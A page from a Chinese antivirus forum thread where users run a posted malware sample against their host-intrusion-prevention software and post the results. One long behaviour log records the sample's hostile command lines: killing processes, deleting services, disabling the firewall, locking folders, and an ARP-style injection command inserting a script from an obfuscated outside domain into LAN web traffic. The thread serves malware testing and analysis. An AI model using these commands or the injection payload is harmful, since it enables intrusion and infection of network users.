收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › 有主防的进来试试,只测试主防.
12345678下一页
返回列表 发新帖
楼主: 刘洋雨佳
 收起左侧

[病毒样本] 有主防的进来试试,只测试主防.

  [复制链接]
刘洋雨佳
 楼主| 发表于 2012-4-25 17:04:10 | 显示全部楼层
humanlwj52 发表于 2012-4-25 17:02
是的

             话说你这个主防貌似跟微点是1个级别啊
回复

举报

刘洋雨佳
 楼主| 发表于 2012-4-25 17:04:44 | 显示全部楼层
liulangzhecgr 发表于 2012-4-25 17:02
clt测试 90分的给秒杀病毒...

2012-4-25 17:00:34    创建新进程    允许

          steam下面那个文件是随机取的
回复

举报

liulangzhecgr
发表于 2012-4-25 17:08:13 | 显示全部楼层
刘洋雨佳 发表于 2012-4-25 17:04
steam下面那个文件是随机取的

这样本找错门啦！不该进的地方进去啦...知难而退！
回复

举报

Nocria
发表于 2012-4-25 17:11:07 | 显示全部楼层
本帖最后由 humanlwj52 于 2012-4-25 17:13 编辑
刘洋雨佳 发表于 2012-4-25 17:04
话说你这个主防貌似跟微点是1个级别啊


还是有一定区别的

微点和ThreatFire的定位不同，微点定是在新一代的主动防御杀毒软件，微点的架构除了杀毒功能，还整合了防火墙以及其他的特色功能，已经具备了相对成熟的安全防护系统框架，也就是说基本在个人计算机上可以独立承担安全防护功能；而ThreatFire的定位是新一代的主动防御辅助防护软件，包括开发者都宣称是“complement补充”而不是“replacement替代”，个人户觉的ThreatFire的防御功能相对微点更为纯粹和精悍，尤其是资源占用几乎感觉不到它的存在,所以拿小而精的ThreatFire和大而全(当然也比较精悍)的微点硬性比较并不合适。
回复

举报

liping1994
发表于 2012-4-25 17:22:34 | 显示全部楼层
ESET下载  拦截

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

hddu
发表于 2012-4-25 18:38:59 | 显示全部楼层
2012-04-25 18:32:13    创建文件      操作:允许
进程路径:F:\virus\ys\ys.exe
文件路径:C:\Program Files\Common Files\rgdltecq
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\Common Files\*


2012-04-25 18:32:17    创建文件      操作:允许
进程路径:F:\virus\ys\ys.exe
文件路径:C:\WINDOWS\system32\594925.DEP
触发规则:所有程序规则->WINDOWS全局设置->%windir%\*


2012-04-25 18:32:29    修改注册表内容      操作:阻止
进程路径:F:\virus\ys\ys.exe
注册表路径:HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32
注册表名称:[Default]
触发规则:所有程序规则->CLSID项设置->*\Clsid\{e6fb5e20-de35-11cf-9c87-00aa005127ed}*


2012-04-25 18:33:14    运行应用程序      操作:允许
进程路径:F:\virus\ys\ys.exe
文件路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
触发规则:应用程序规则->程序->?:\*


2012-04-25 18:33:18    创建文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
文件路径:C:\Program Files\Common Files\sfbsbvy
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\Common Files\*


2012-04-25 18:33:18    创建文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
文件路径:C:\Program Files\MPI.hta
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\*


2012-04-25 18:33:19    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
文件路径:C:\WINDOWS\system32\mshta.exe
命令行:"C:\Program Files\MPI.hta"        
触发规则:所有程序规则->系统程序设置->*\mshta.exe


2012-04-25 18:33:24    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c taskkill /im coiome.exe /f
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:33:30    创建文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
文件路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\Common Files\*.exe


2012-04-25 18:33:38    修改文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
文件路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\Common Files\*.exe


2012-04-25 18:33:43    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
文件路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
触发规则:应用程序规则->程序->?:\*


2012-04-25 18:33:47    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz10.tmp
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c del "C:\Documents and Settings\All Users\Documents\ejz10.tmp"
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:33:48    运行应用程序      操作:允许
进程路径:F:\virus\ys\ys.exe
文件路径:C:\Documents and Settings\All Users\Documents\ejz11.tmp
触发规则:应用程序规则->程序->?:\*


2012-04-25 18:33:56    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config Browser start= auto
触发规则:所有程序规则->系统程序设置->%windir%\system32\sc.exe


2012-04-25 18:33:57    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config lanmanserver start= auto
触发规则:所有程序规则->系统程序设置->%windir%\system32\sc.exe


2012-04-25 18:33:57    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config lanmanworkstation start= auto
触发规则:所有程序规则->系统程序设置->%windir%\system32\sc.exe


2012-04-25 18:33:58    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config LmHosts start= auto
触发规则:所有程序规则->系统程序设置->%windir%\system32\sc.exe


2012-04-25 18:33:58    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config RpcLocator start= auto
触发规则:所有程序规则->系统程序设置->%windir%\system32\sc.exe


2012-04-25 18:33:58    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config NtLmSsp start= auto
触发规则:所有程序规则->系统程序设置->%windir%\system32\sc.exe


2012-04-25 18:33:59    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:start lanmanserver
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2012-04-25 18:33:59    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:start lanmanworkstation
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2012-04-25 18:34:00    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:start Browser
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2012-04-25 18:34:01    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:stop sharedaccess
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2012-04-25 18:34:01    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:start LmHosts
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2012-04-25 18:34:02    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:start RpcLocator
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2012-04-25 18:34:02    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:start NtLmSsp
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2012-04-25 18:34:06    创建文件      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\Tasks\OXEx.vbe
触发规则:所有程序规则->文件创建设置_普通模式->%SystemDrive%\*.vbe


2012-04-25 18:34:06    创建文件      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\Tasks\OXE8.exe
触发规则:应用程序规则->%ProgramFiles%文件设置->%ProgramFiles%\Common Files\*.exe->%windir%\*.exe


2012-04-25 18:34:08    创建文件      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\Documents and Settings\Administrator\桌面\2345网址导航.url
触发规则:所有程序规则->Documents and Settings设置（二）->?:\Documents and Settings\*\桌面\*.ur*


2012-04-25 18:34:15    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc delete JavaServe
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:19    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c taskkill /im iejore.exe /f
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:21    运行应用程序      操作:允许
进程路径:F:\virus\ys\ys.exe
文件路径:C:\Documents and Settings\All Users\Documents\ejz12.tmp
触发规则:应用程序规则->程序->?:\*


2012-04-25 18:34:22    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c taskkill /im conime.exe /f
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:25    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc stop LYTC
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:28    创建文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz12.tmp
文件路径:C:\Program Files\Common Files\PushWare
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\Common Files\*


2012-04-25 18:34:30    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc stop Messenger
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:33    创建文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz12.tmp
文件路径:C:\Program Files\Common Files\PushWare\Uninst.exe
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\Common Files\*.exe


2012-04-25 18:34:33    创建文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz12.tmp
文件路径:C:\Program Files\Common Files\PushWare\cpush.dll
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\*.dll


2012-04-25 18:34:35    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc delete Messenger
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:37    运行应用程序      操作:允许
进程路径:F:\virus\ys\ys.exe
文件路径:C:\Documents and Settings\All Users\Documents\ejz15.tmp
触发规则:应用程序规则->程序->?:\*


2012-04-25 18:34:37    创建文件      操作:阻止
进程路径:C:\Documents and Settings\All Users\Documents\ejz15.tmp
文件路径:C:\WINDOWS\system\pp_data0
触发规则:所有程序规则->WINDOWS默认目录设置->%windir%\system\*


2012-04-25 18:34:37    创建文件      操作:阻止
进程路径:C:\Documents and Settings\All Users\Documents\ejz15.tmp
文件路径:C:\WINDOWS\system\pp_data0
触发规则:所有程序规则->WINDOWS默认目录设置->%windir%\system\*


2012-04-25 18:34:40    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc delete LYTC
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:43    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz15.tmp
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c 13.bat
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:44    删除文件      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:F:\virus\ys\13.bat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->*\*.bat


2012-04-25 18:34:47    运行应用程序      操作:允许
进程路径:F:\virus\ys\ys.exe
文件路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
触发规则:应用程序规则->程序->?:\*


2012-04-25 18:34:47    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc stop IE_WinserverName
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:50    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc delete IE_WinserverName
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:53    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc stop HidServ
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:56    运行应用程序      操作:允许
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c sc delete HidServ
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:58    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c cacls "C:\Documents and Settings\All Users\Application Data\Storm\update" /e /p everyone:n
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:34:58    运行应用程序      操作:阻止
进程路径:C:\Program Files\Common Files\sfbsbvy\coiome.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c cacls "C:\Program Files\Common Files\Microsoft Shared\MSInfo" /e /p everyone:n
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:36:08    修改文件      操作:阻止
进程路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
文件路径:C:\WINDOWS\system32\Packet.dll
触发规则:所有程序规则->WINDOWS文件设置->%windir%\system32\*.dll


2012-04-25 18:36:09    修改文件      操作:阻止
进程路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
文件路径:C:\WINDOWS\system32\WanPacket.dll
触发规则:所有程序规则->WINDOWS文件设置->%windir%\system32\*.dll


2012-04-25 18:36:10    修改文件      操作:阻止
进程路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
文件路径:C:\WINDOWS\system32\wpcap.dll
触发规则:所有程序规则->WINDOWS文件设置->%windir%\system32\*.dll


2012-04-25 18:36:11    创建文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
文件路径:C:\WINDOWS\system32\drivers\npf.sys
触发规则:所有程序规则->驱动文件保护设置->%WinDir%\system32\drivers\*.sys


2012-04-25 18:36:12    创建文件      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
文件路径:C:\WINDOWS\system32\360ubdk.exe
触发规则:所有程序规则->WINDOWS文件设置->%windir%\system32\*.exe


2012-04-25 18:36:15    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
文件路径:C:\WINDOWS\system32\360ubdk.exe
命令行:-idx 0 -ip 169.254.119.2-169.254.119.254 -port 80 -insert "<script language=JavaScript src=http://e%6Ae.P%61ss%69ngG%61s.n%65t/tj.js></script>"
触发规则:应用程序规则->程序->?:\*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:15    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
文件路径:C:\WINDOWS\system32\360ubdk.exe
命令行:-idx 1 -ip 183.36.9.2-183.36.9.254 -port 80 -insert "<script language=JavaScript src=http://e%6Ae.P%61ss%69ngG%61s.n%65t/tj.js></script>"
触发规则:应用程序规则->程序->?:\*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:17    加载驱动程序      操作:阻止
进程路径:C:\WINDOWS\system32\services.exe
驱动路径:C:\WINDOWS\system32\drivers\9.tmp
触发规则:所有程序规则->*


2012-04-25 18:36:56    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\All Users\Documents\ejz16.tmp
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c 12.bat
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-04-25 18:37:01    删除文件      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:F:\virus\ys\12.bat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->*\*.bat


回复

举报

刘洋雨佳
 楼主| 发表于 2012-4-25 18:47:48 | 显示全部楼层
hddu 发表于 2012-4-25 18:38
2012-04-25 18:32:13    创建文件      操作:允许
进程路径:F:\virus\ys\ys.exe
文件路径:C:\Program Fil ...

       你是XP系统？
回复

举报

hddu
发表于 2012-4-25 19:19:55 | 显示全部楼层
刘洋雨佳 发表于 2012-4-25 18:47
你是XP系统？

是的，破机子，只能装XP。
回复

举报

不放弃。
发表于 2012-4-25 19:21:19 | 显示全部楼层
红伞

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

wets
发表于 2012-4-25 19:38:49 | 显示全部楼层
刚点连接，就拦截了

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

下一页 »
12345678下一页
返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-9-24 21:45 , Processed in 0.091690 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表